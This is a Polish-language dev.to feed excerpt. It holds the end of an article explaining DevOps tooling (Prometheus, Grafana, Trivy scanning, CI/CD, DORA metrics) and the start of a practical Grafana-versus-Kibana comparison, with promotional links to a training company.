&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Ffd6rl424z8g6f231umqm.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Ffd6rl424z8g6f231umqm.png" alt="Prometheus - lista celów (targets) z których zbierane są metryki" width="800" height="532"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Prometheus, lista celów. Każdy wiersz to źródło metryk (aplikacja lub eksporter), a status w kolumnie State mówi, czy Prometheus poprawnie się z nim łączy i zbiera dane.&lt;/p&gt;

&lt;p&gt;Metryki odpytuje się językiem PromQL. Poniższe zapytanie liczy udział odpowiedzi z błędem serwera (kody 5xx) w całym ruchu, czyli klasyczny wskaźnik „czy usługa się psuje":&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# Udział odpowiedzi 5xx w całym ruchu usługi (ostatnie 5 minut)
sum(rate(http_requests_total{service="sklep-api",status=~"5.."}[5m]))
  /
sum(rate(http_requests_total{service="sklep-api"}[5m]))
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Prosty wykres w samym Prometheusie to już duży krok. Ten sam ruch przedstawiony graficznie od razu pokazuje, kiedy zaczął się problem i czy sam wrócił do normy:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fvwc1ws7ejp55yja12dfq.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fvwc1ws7ejp55yja12dfq.png" alt="Wykres metryki w interfejsie Prometheusa - zmiana wartości w czasie" width="800" height="584"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Metryka narysowana w czasie w interfejsie Prometheusa. Na wykresie łatwo dostrzec zarówno chwilowy skok, jak i powolny trend, czego z surowych liczb nie widać.&lt;/p&gt;

&lt;p&gt;Prometheus rysuje proste wykresy, ale prawdziwe, bogate pulpity buduje się w &lt;strong&gt;Grafanie&lt;/strong&gt;, czyli narzędziu do wizualizacji danych. Pulpit Grafany widzisz już na samej górze tego artykułu: ten kolorowy zestaw wskaźników i wykresów kondycji serwera to właśnie ona. Grafanie poświęciliśmy osobny, szczegółowy przewodnik, więc jeśli chcesz nauczyć się budować takie pulpity od zera, przeczytaj &lt;a href="https://jsystems.pl/blog/show_post/co_to_jest_grafana_przewodnik_dla_poczatkujacych/" rel="noopener noreferrer"&gt;czym jest Grafana w przewodniku dla początkujących&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Sam wykres to za mało. Metryki mają sens dopiero wtedy, gdy potrafią samodzielnie zawołać o pomoc. Do tego służą reguły alertów i menedżer alertów (ang. Alertmanager), który wysyła powiadomienie na wskazany kanał, gdy przekroczony zostanie próg. Poniżej realny, wyzwolony alert po polsku:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Ft6rhbz4i475vasiyydj9.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Ft6rhbz4i475vasiyydj9.png" alt="Alertmanager - aktywny, wyzwolony alert o wysokim zużyciu CPU" width="800" height="532"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Alertmanager z aktywnym alertem. Gdy reguła (tutaj wysokie zużycie procesora) zostaje spełniona przez zadany czas, alert zmienia stan na aktywny i trafia do wskazanego kanału, na przykład na e-mail albo do komunikatora zespołu.&lt;/p&gt;

&lt;p&gt;Do metryk dochodzą jeszcze logi (zapisy zdarzeń), które centralizuje &lt;strong&gt;Loki&lt;/strong&gt; albo starszy, ale wciąż popularny stos ELK (Elasticsearch, Logstash, Kibana). Metryki mówią „coś jest nie tak", a logi odpowiadają „dlaczego". Razem tworzą obserwowalność, bez której DevOps byłby lataniem po ciemku.&lt;/p&gt;

&lt;p&gt;Cały stos monitoringu w jednym miejscu, na żywej infrastrukturze: &lt;a href="https://jsystems.pl/szkolenia-monitoring;monitoring_observability_grafana_prometheus_loki_zabbix.szczegoly?utm_source=blog&amp;amp;utm_medium=article&amp;amp;utm_campaign=post453&amp;amp;utm_content=link_monitoring" rel="noopener noreferrer"&gt;Szkolenie Monitoring i Observability: Grafana, Prometheus, Loki, Zabbix&lt;/a&gt; ma terminy gwarantowane.&lt;/p&gt;

&lt;h3&gt;
  
  
  DevSecOps: bezpieczeństwo wpięte w potok
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Do czego służy:&lt;/strong&gt; wykrywa znane podatności w obrazach i zależnościach automatycznie, na etapie budowania, zanim aplikacja trafi na produkcję. Bezpieczeństwo staje się częścią potoku, a nie odrębnym audytem raz do roku.&lt;/p&gt;

&lt;p&gt;DevSecOps to DevOps, w którym bezpieczeństwo „przesunięto w lewo", czyli jak najbliżej początku procesu. Zamiast sprawdzać aplikację dopiero przed wdrożeniem, skanuje się ją przy każdym budowaniu. Popularnym skanerem jest &lt;a href="https://trivy.dev/" rel="noopener noreferrer"&gt;Trivy&lt;/a&gt;, który wyszukuje znane podatności (ang. CVE) w obrazie. Świetnie pokazuje też, dlaczego wybór podstawowego obrazu ma znaczenie. Przeskanowaliśmy dwa warianty tego samego serwera WWW, pełny (oparty na systemie Debian) i odchudzony (oparty na Alpine):&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fdv5iymynoaflb70ql7cg.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fdv5iymynoaflb70ql7cg.png" alt="Terminal: trivy skanuje obraz nginx pełny (126 podatności) i odchudzony (35 podatności)" width="800" height="247"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Skan podatności narzędziem Trivy. Ten sam serwer WWW: wariant pełny (oparty na Debianie) ma 126 poważnych podatności, a odchudzony (oparty na Alpine) tylko 35. Sam wybór chudszego obrazu podstawowego drastycznie zmniejsza powierzchnię ataku.&lt;/p&gt;

&lt;p&gt;Ta sama aplikacja, a liczba poważnych podatności spada ze 126 do 35 tylko dlatego, że wybraliśmy chudszy obraz podstawowy. To jest DevSecOps w pigułce: bezpieczeństwo nie jest osobnym etapem na końcu, tylko konsekwencją dobrych decyzji podejmowanych po drodze i pilnowanych automatycznie. Skany takie jak ten wpina się wprost do potoku CI/CD, który potrafi zatrzymać wdrożenie, gdy pojawi się nowa krytyczna podatność.&lt;/p&gt;

&lt;h3&gt;
  
  
  Chmura i wirtualizacja: fundament, na którym to wszystko stoi
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Do czego służy:&lt;/strong&gt; dostarcza moc obliczeniową na żądanie. Zamiast kupować serwery na lata, wynajmujesz dokładnie tyle, ile potrzebujesz, i płacisz za użycie, a Terraform tworzy to wszystko kodem.&lt;/p&gt;

&lt;p&gt;Cała pętla DevOps musi na czymś działać. Najczęściej jest to chmura publiczna: Amazon Web Services (AWS), Microsoft Azure lub Google Cloud (GCP). Chmura daje infrastrukturę na żądanie, rozliczaną za faktyczne użycie, i to z nią najczęściej rozmawia Terraform. Alternatywą (albo uzupełnieniem) jest wirtualizacja na własnym sprzęcie, na przykład Proxmox, popularny do budowy domowego lub firmowego laboratorium. Dla nauki DevOps nie potrzebujesz jednak od razu chmury: pełny klaster Kubernetes postawisz lokalnie na laptopie, dokładnie tak, jak zrobiliśmy to na potrzeby przykładów w tym artykule.&lt;/p&gt;

&lt;h2&gt;
  
  
  Jak to wszystko gra razem: od commita do produkcji
&lt;/h2&gt;

&lt;p&gt;Pojedyncze narzędzia to dopiero połowa historii. Prawdziwa siła DevOps bierze się z tego, że układają się one w jeden ciągły potok. Prześledźmy drogę zwykłej zmiany w kodzie, od momentu zapisania jej przez programistę do chwili, gdy działa na produkcji i jest obserwowana:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fjsystems.pl%2Fstatic%2Fimages%2Flogo-colored.svg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fjsystems.pl%2Fstatic%2Fimages%2Flogo-colored.svg" alt="JSystems" width="230" height="72"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;🔄&lt;/p&gt;

&lt;p&gt;Commit&lt;/p&gt;

&lt;p&gt;Git&lt;/p&gt;

&lt;p&gt;⚙️&lt;/p&gt;

&lt;p&gt;Build + test&lt;/p&gt;

&lt;p&gt;CI/CD&lt;/p&gt;

&lt;p&gt;🐳&lt;/p&gt;

&lt;p&gt;Obraz&lt;/p&gt;

&lt;p&gt;Docker&lt;/p&gt;

&lt;p&gt;🛡️&lt;/p&gt;

&lt;p&gt;Skan&lt;/p&gt;

&lt;p&gt;Trivy&lt;/p&gt;

&lt;p&gt;☸&lt;/p&gt;

&lt;p&gt;Wdrożenie&lt;/p&gt;

&lt;p&gt;Kubernetes&lt;/p&gt;

&lt;p&gt;📊&lt;/p&gt;

&lt;p&gt;Monitoring&lt;/p&gt;

&lt;p&gt;Grafana&lt;/p&gt;

&lt;p&gt;Droga jednej zmiany przez potok DevOps. Kod z Gita uruchamia potok CI/CD, który buduje obraz Dockera, skanuje go pod kątem podatności, wdraża na Kubernetes, a Prometheus i Grafana od razu zaczynają go obserwować. Wnioski z monitoringu wracają do planowania kolejnej zmiany.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Commit (Git).&lt;/strong&gt; Programista zapisuje zmianę i wypycha ją do repozytorium. To wyzwala resztę.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Build i testy (CI/CD).&lt;/strong&gt; Potok automatycznie pobiera kod, uruchamia testy i buduje aplikację. Jeśli testy nie przejdą, proces się zatrzymuje i nikt nie musi tego pilnować ręcznie.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Obraz (Docker).&lt;/strong&gt; Z aplikacji powstaje przenośny obraz kontenera, otagowany identyfikatorem tej konkretnej zmiany.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Skan bezpieczeństwa (Trivy).&lt;/strong&gt; Obraz jest skanowany pod kątem znanych podatności. Krytyczne znaleziska mogą zatrzymać wdrożenie.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Wdrożenie (Kubernetes).&lt;/strong&gt; Klaster stopniowo zastępuje starą wersję nową, pilnując, żeby usługa ani na chwilę nie przestała odpowiadać.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Monitoring (Prometheus i Grafana).&lt;/strong&gt; Od pierwszej sekundy nowa wersja jest obserwowana. Jeśli wzrośnie liczba błędów, alert obudzi zespół, a wnioski wrócą do planowania.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Zwróć uwagę, że w całym tym łańcuchu człowiek podejmuje jedną świadomą decyzję: zapisuje dobrą zmianę w kodzie. Resztę wykonują narzędzia. To jest właśnie automatyzacja, o której mówi „A" w skrócie CALMS, i to ona odróżnia dojrzały DevOps od ręcznego wdrażania „na piechotę".&lt;/p&gt;

&lt;h2&gt;
  
  
  Do czego DevOps przydaje się firmie (i inżynierowi)
&lt;/h2&gt;

&lt;p&gt;Cała ta maszyneria nie jest sztuką dla sztuki. DevOps ma mierzalny cel: dostarczać oprogramowanie szybciej i stabilniej zarazem, co przez lata wydawało się sprzecznością. Najczęściej używa się do tego czterech wskaźników znanych jako metryki DORA (od nazwy zespołu badawczego, który je spopularyzował). Opisują one, jak sprawnie organizacja dowozi zmiany:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fjsystems.pl%2Fstatic%2Fimages%2Flogo-colored.svg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fjsystems.pl%2Fstatic%2Fimages%2Flogo-colored.svg" alt="JSystems" width="230" height="72"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Częstotliwość wdrożeń&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
Jak często dowozimy zmiany. Najlepsze zespoły wdrażają wielokrotnie dziennie.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Czas od kodu do produkcji&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
Ile mija od zapisania zmiany do jej działania. Cel: godziny, nie tygodnie.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Czas naprawy awarii (MTTR)&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
Jak szybko wracamy do sprawności po awarii. Cel: minuty, nie dni.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Odsetek nieudanych zmian&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
Jaka część wdrożeń kończy się awarią. Im mniej, tym dojrzalszy proces.&lt;/p&gt;

&lt;p&gt;Cztery metryki DORA. DevOps dąży do tego, by pierwsza z nich rosła (wdrażamy częściej), a trzy pozostałe malały (szybciej, stabilniej, z mniejszą liczbą wpadek). Dobre zespoły poprawiają je wszystkie naraz, bo automatyzacja jednocześnie przyspiesza i zabezpiecza.&lt;/p&gt;

&lt;p&gt;Przełóżmy to na konkret. Dla &lt;strong&gt;firmy&lt;/strong&gt; DevOps oznacza szybsze dostarczanie nowych funkcji (a więc szybszą reakcję na rynek), mniej awarii i krótsze przestoje, powtarzalność (nowe środowisko stawia się z kodu w minuty, a nie w dni) oraz przewidywalne koszty infrastruktury. Dla &lt;strong&gt;inżyniera&lt;/strong&gt; to mniej nudnej, ręcznej pracy i gaszenia pożarów, a więcej budowania rzeczy, które sprawiają, że pożary w ogóle nie wybuchają. To także jeden z najlepiej opłacanych i najbardziej poszukiwanych zestawów umiejętności w branży.&lt;/p&gt;

&lt;h2&gt;
  
  
  Od czego zacząć naukę DevOps
&lt;/h2&gt;

&lt;p&gt;Skoro wiesz już, czym DevOps jest i z czego się składa, naturalne pytanie brzmi „od czego zacząć". Najważniejsza zasada to &lt;strong&gt;właściwa kolejność&lt;/strong&gt;. Najczęstszy błąd to rzucanie się od razu na Kubernetes, bo wygląda najatrakcyjniej. Bez fundamentów jest jednak ścianą niezrozumiałych skrótów. Sensowna droga wygląda tak:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Fundamenty:&lt;/strong&gt; Linux (bo serwery i kontenery to w większości Linux), sieci, Git i jeden język skryptowy (najczęściej Python albo Bash).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Konteneryzacja i orkiestracja:&lt;/strong&gt; najpierw Docker, potem Kubernetes. W tej kolejności, nie odwrotnie.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Automatyzacja i infrastruktura jako kod:&lt;/strong&gt; potoki CI/CD oraz Terraform i Ansible.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Chmura i monitoring:&lt;/strong&gt; jedna chmura (AWS lub Azure) plus Prometheus i Grafana.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Najlepiej uczyć się na własnym laboratorium. Pełny klaster Kubernetes uruchomisz lokalnie w minutę, a jeśli masz stary komputer lub domowy serwer, postaw na nim Proxmoxa i kilka maszyn wirtualnych, żeby przećwiczyć wszystko od instalacji po symulowaną awarię. Kompletną, rozpisaną na fazy drogę wraz z realnymi widełkami zarobków opisaliśmy osobno, w przewodniku o tym, &lt;a href="https://jsystems.pl/blog/show_post/devops-sciezka-kariery-2026/" rel="noopener noreferrer"&gt;jak zostać inżynierem DevOps od zera&lt;/a&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Podsumowanie
&lt;/h2&gt;

&lt;p&gt;DevOps to nie narzędzie ani stanowisko, tylko sposób pracy: kultura wspólnej odpowiedzialności za oprogramowanie, wsparta automatyzacją całej pętli od pomysłu po monitoring działającej usługi. Narzędzia, o których mowa, nie są celem samym w sobie, tylko odpowiedziami na konkretne pytania. &lt;strong&gt;Git&lt;/strong&gt; pilnuje historii i jest źródłem prawdy. &lt;strong&gt;CI/CD&lt;/strong&gt; automatyzuje build, testy i wdrożenie. &lt;strong&gt;Docker&lt;/strong&gt; pakuje aplikację, a &lt;strong&gt;Kubernetes&lt;/strong&gt; nią dyryguje na produkcji. &lt;strong&gt;Terraform&lt;/strong&gt; i &lt;strong&gt;Ansible&lt;/strong&gt; zamieniają infrastrukturę w kod. &lt;strong&gt;Prometheus&lt;/strong&gt; i &lt;strong&gt;Grafana&lt;/strong&gt; sprawiają, że widać, co się dzieje, a &lt;strong&gt;Trivy&lt;/strong&gt; pilnuje bezpieczeństwa po drodze. Razem tworzą one potok, w którym zwykła zmiana w kodzie sama płynie przez budowanie, testy, skan, wdrożenie i monitoring, a człowiek podejmuje tylko decyzje, które naprawdę wymagają jego uwagi. To właśnie jest DevOps i do tego on służy.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fbzbbhiwgtsrri4lue77b.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fbzbbhiwgtsrri4lue77b.png" alt="Szkolenia DevOps JSystems" width="800" height="600"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;DevOps — kompleksowe szkolenie z praktykiem&lt;br&gt;
Warsztaty z Dockera, Kubernetes, Ansible, Terraform, CI/CD i monitoringu na realnej infrastrukturze. Uczysz się dokładnie tych narzędzi, które pokazaliśmy w tym artykule. Terminy gwarantowane.&lt;br&gt;
&lt;a href="https://jsystems.pl/szkolenia-devops-sysops.pokaz?utm_source=blog&amp;amp;utm_medium=article&amp;amp;utm_campaign=post453&amp;amp;utm_content=banner_czym_jest_devops" rel="noopener noreferrer"&gt;Przyjdź na szkolenie DevOps --&amp;gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;✕&lt;a href="" class="article-body-image-wrapper"&gt;&lt;img&gt;&lt;/a&gt;&lt;/p&gt;

</description>
      <category>devops</category>
      <category>kubernetes</category>
      <category>docker</category>
      <category>cicd</category>
    </item>
    <item>
      <title>Grafana vs Kibana - kiedy używać którego (praktyczne porównanie)</title>
      <dc:creator>Andrzej Klusiewicz</dc:creator>
      <pubDate>Mon, 24 Aug 2026 15:12:24 +0000</pubDate>
      <link>https://dev.to/andrzej_klusiewicz_08588c/grafana-vs-kibana-kiedy-uzywac-ktorego-praktyczne-porownanie-3gcf</link>
      <guid>https://dev.to/andrzej_klusiewicz_08588c/grafana-vs-kibana-kiedy-uzywac-ktorego-praktyczne-porownanie-3gcf</guid>
      <description>&lt;p&gt;Grafana czy Kibana? Zamiast marketingowego bełkotu pokazujemy różnice na żywych przykładach i mówimy wprost, którą wybrać do czego. Pełna wersja jest na naszym blogu.&lt;/p&gt;

&lt;p&gt;Jeśli zderzyłeś się z pytaniem &lt;strong&gt;Grafana vs Kibana&lt;/strong&gt; i internet odpowiada Ci mglistym "oba są świetne do wizualizacji danych", to ten artykuł jest po to, żeby dać Ci konkretną odpowiedź. Postawiliśmy specjalnie na własnym serwerze obie platformy naraz: Grafanę spiętą z Prometheusem oraz pełny Elastic Stack z Kibaną i danymi w Elasticsearch. Wszystkie zrzuty poniżej pochodzą z tych żywych instalacji, więc zobaczysz, czym Grafana i Kibana realnie różnią się w codziennej pracy.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fje1mj4cehsr65cn7kyl0.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fje1mj4cehsr65cn7kyl0.png" alt="Grafana - dashboard Node Exporter Full z metrykami serwera w czasie rzeczywistym: użycie CPU, pamięci, dysku i ruchu sieciowego" width="800" height="500"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Typowy dashboard metryk serwera w Grafanie, odświeżany na żywo. Zrzut z naszej instalacji spiętej z Prometheusem.&lt;/p&gt;

&lt;h2&gt;
  
  
  Grafana kontra Kibana w jednym zdaniu
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Grafana&lt;/strong&gt; to uniwersalny panel do wizualizacji, który podłączysz do ponad 150 różnych źródeł danych i który najlepiej sprawdza się przy metrykach oraz monitoringu infrastruktury. &lt;strong&gt;Kibana&lt;/strong&gt; to okno do jednej konkretnej bazy, Elasticsearch, i to okno jest genialne do przeszukiwania oraz analizy logów i danych tekstowych. Najkrócej: Grafana pyta "z czego chcesz rysować wykresy", Kibana zakłada, że dane masz już w Elasticsearch i pyta "czego w nich szukasz".&lt;/p&gt;

&lt;h2&gt;
  
  
  Czym jest Grafana
&lt;/h2&gt;

&lt;p&gt;Grafana to otwartoźródłowe narzędzie do budowania dashboardów, czyli tablic z wykresami. Jej największa zaleta to &lt;strong&gt;niezależność od miejsca przechowywania danych&lt;/strong&gt;. Sama nic nie przechowuje. Podłącza się do zewnętrznego źródła (Prometheus, InfluxDB, baza SQL, Loki, a nawet Elasticsearch) i rysuje z niego panele. Dlatego sprawdza się tam, gdzie trzeba oglądać kondycję serwerów, aplikacji i sieci: obciążenie procesora, zużycie pamięci, opóźnienia, liczbę żądań na sekundę.&lt;/p&gt;

&lt;p&gt;Na dashboardzie wyżej widać klasyczny zestaw dla administratora: wskaźniki zajętości zasobów, wykresy czasowe zużycia CPU i pamięci oraz ruch sieciowy, wszystko odświeżane automatycznie. Jeśli chcesz zrozumieć samą Grafanę od podstaw, mamy osobny, szczegółowy przewodnik: &lt;a href="https://jsystems.pl/blog/show_post/co_to_jest_grafana_przewodnik_dla_poczatkujacych" rel="noopener noreferrer"&gt;Co to jest Grafana - kompletny przewodnik dla początkujących&lt;/a&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Czym jest Kibana
&lt;/h2&gt;

&lt;p&gt;Kibana to część &lt;strong&gt;Elastic Stack&lt;/strong&gt;, potocznie ELK (Elasticsearch, Logstash, Kibana). W tym trio Kibana jest twarzą całości: interfejsem, przez który oglądasz i analizujesz dane leżące w Elasticsearch. Kluczowa różnica względem Grafany jest fundamentalna. &lt;strong&gt;Kibana czyta tylko i wyłącznie Elasticsearch.&lt;/strong&gt; &lt;strong&gt;Nie podłączysz jej do Prometheusa ani do bazy SQL.&lt;/strong&gt; W zamian dostajesz to, w czym Grafana jest słabsza: pełnotekstowe przeszukiwanie ogromnych zbiorów logów i zdarzeń.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fbuk6lgawq8ss1q2w8orx.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fbuk6lgawq8ss1q2w8orx.png" alt="Kibana - dashboard analityki ruchu webowego: liczba wizyt, unikalni użytkownicy, kody odpowiedzi HTTP, mapa i wykres Sankeya" width="800" height="500"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Gotowy dashboard analizy ruchu webowego w Kibanie, na danych z Elasticsearch: wizyty, kody HTTP, mapa i przepływy.&lt;/p&gt;

&lt;h2&gt;
  
  
  Najważniejsza różnica: źródła danych
&lt;/h2&gt;

&lt;p&gt;Gdyby zapamiętać z tego artykułu tylko jedną rzecz, powinna to być ta. &lt;strong&gt;Grafana jest agnostyczna wobec źródła, Kibana jest przywiązana do Elasticsearch.&lt;/strong&gt; Poniższy zrzut z Grafany to katalog dostępnych typów źródeł danych. Widać Prometheus, Graphite, InfluxDB, OpenTSDB, Loki, a niżej listy pojawia się także Elasticsearch. To dlatego Grafana potrafi na jednym ekranie połączyć metryki z Prometheusa i logi z Elasticsearch. Kibana takiego menu po prostu nie ma, bo źródło jest zawsze jedno.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fkovfnpdqta3yh3xg6xb8.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fkovfnpdqta3yh3xg6xb8.png" alt="Grafana - katalog źródeł danych do podłączenia: Prometheus, Graphite, InfluxDB, OpenTSDB, Loki i inne, w tym Elasticsearch" width="800" height="500"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Grafana podłącza ponad 150 różnych źródeł. Kibana ma tylko jedno: Elasticsearch. To sedno różnicy między tymi narzędziami.&lt;/p&gt;

&lt;h2&gt;
  
  
  Metryki kontra logi, czyli do czego każde jest stworzone
&lt;/h2&gt;

&lt;p&gt;Uproszczenie, które prawie zawsze się sprawdza: &lt;strong&gt;Grafana to świat metryk&lt;/strong&gt;, &lt;strong&gt;Kibana to świat logów&lt;/strong&gt;. Metryki to liczby zbierane w czasie, na przykład "użycie CPU co 15 sekund". Logi to zapisy zdarzeń z treścią, na przykład "o 14:03 użytkownik X dostał błąd 500 na adresie /zamowienie". Grafana świetnie pokazuje trendy liczbowe. Kibana świetnie pozwala &lt;strong&gt;znaleźć konkretne zdarzenie&lt;/strong&gt; wśród milionów wpisów, przefiltrować je i policzyć.&lt;/p&gt;

&lt;p&gt;Nie jest to mur nie do przejścia. Grafana z dodatkiem Loki radzi sobie z logami, a Kibana potrafi rysować wykresy metryk zapisanych w Elasticsearch. Ale każde z narzędzi ma stronę, po której jest u siebie, i warto to szanować przy wyborze.&lt;/p&gt;

&lt;h2&gt;
  
  
  Przeszukiwanie danych: Discover w Kibanie kontra Explore w Grafanie
&lt;/h2&gt;

&lt;p&gt;Tu Kibana ma wyraźną przewagę. Widok &lt;strong&gt;Discover&lt;/strong&gt; to interaktywne przeszukiwanie surowych dokumentów: histogram wystąpień w czasie, lista pól do filtrowania po lewej i tabela zdarzeń, którą przeszukujesz językiem zapytań KQL. Dla kogoś, kto goni w logach przyczynę awarii, to codzienne narzędzie pracy.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fbjsk3ljjkjg98n9z427n.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fbjsk3ljjkjg98n9z427n.png" alt="Kibana Discover - interaktywne przeszukiwanie logów: histogram w czasie, lista pól po lewej i tabela surowych zdarzeń do filtrowania" width="800" height="500"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Kibana Discover: przeglądanie i filtrowanie tysięcy surowych logów z histogramem czasu i listą pól. Grafana ma podobny widok Explore, ale to Kibana jest tu u siebie.&lt;/p&gt;

